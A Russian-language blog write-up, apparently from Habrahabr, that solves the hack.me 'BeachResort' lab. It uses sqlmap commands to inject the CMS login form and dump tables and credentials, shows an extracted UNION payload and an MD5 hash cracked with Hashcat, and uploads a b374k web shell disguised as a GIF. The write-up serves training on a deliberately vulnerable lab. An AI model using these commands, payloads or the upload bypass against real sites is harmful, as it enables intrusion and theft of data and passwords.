Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ

615b057c18b4401d9e4983950a8482f7.png

Всем доброго времени суток, сегодня не будет VulnHub’a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:

  1. Имя администратора сайта
  2. Название БД
  3. Список таблиц
  4. Список всех файлов в корневой директории CMS
  5. Лицензионный ключ
  6. Содержимое очень секретного файла

Приступим


После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent

251759463ad74b6a94d9b7ad71516558.png

Сканируем дальше:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent

51f1f44515c143c185ac888530b58bc9.png

Как и ожидалось, тут есть форма авторизации:
e04ddee1b188439b82e9c15e39c80c85.png

И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch --dbs

Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:
Payload: user=admin' UNION ALL SELECT CONCAT (0×7176707a71,0×6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0×71766a6b71)-- OFdY&pass=admin

Переходим к списку таблиц:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms --tables

023b265be6344fbca3b98467f1bbe39b.png

Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T license --dump

447f0fb979bf4d2d9ba4024cb2a22c3a.png

Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T operators --dump

074fbd8f2c2f42449c402d14a234498c.png

Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat'ом:

$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt

И через несколько секунд получаем требуемый пароль:
2bfea2ff114ccd30d95e176a1d25346a:! superadmin!

Пробуем авторизоваться, и попадаем вот на такую страницу:
c40d14c0cb684250a94dc6b980f97ae7.png

В целом ничего интересного, кроме страницы с возможностью загрузить изображение:
b13fb21d27f54202a9b05b078a391e09.png

Попробовав загрузить простенький шелл, получаем ошибку:
05d8e1523eb04eb28798677541696e21.png

Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:
04585a8b3adc4369af7e7b70724fca72.png

Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:
9070b3685c2c4092888d610a288b1df0.png

Приступим к выполнению последних заданий, а именно получим список файлов и директорий:
7b19ae30e2f7462890ba598d2e56077b.png

Тут же находим файл secret.noop, который является последним звеном:
d2c191afb60b4a5a9dd821637e53e616.png

Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.

Комментарии (1)

  • 30 января 2017 в 00:12

    0

    Мило, но этот конкретный вариант мне кажется избыточно простым. Ну и было бы приятнее, если бы приложение больше было похоже на настоящее.

    А вы встречали подобные приложения, у которых есть большое количество разработчиков, которые его регулярно обновляют и вносят туда новые фичи (или корректнее будет сказать «баги»)? Причём чтобы в идеале можно было собрать из уязвимых модулей свой вариант уязвимого приложения. А то довольно многие, включая меня, делают свои варианты приложений —, а вот совместного творчества на эту тему я не видел.

© Habrahabr.ru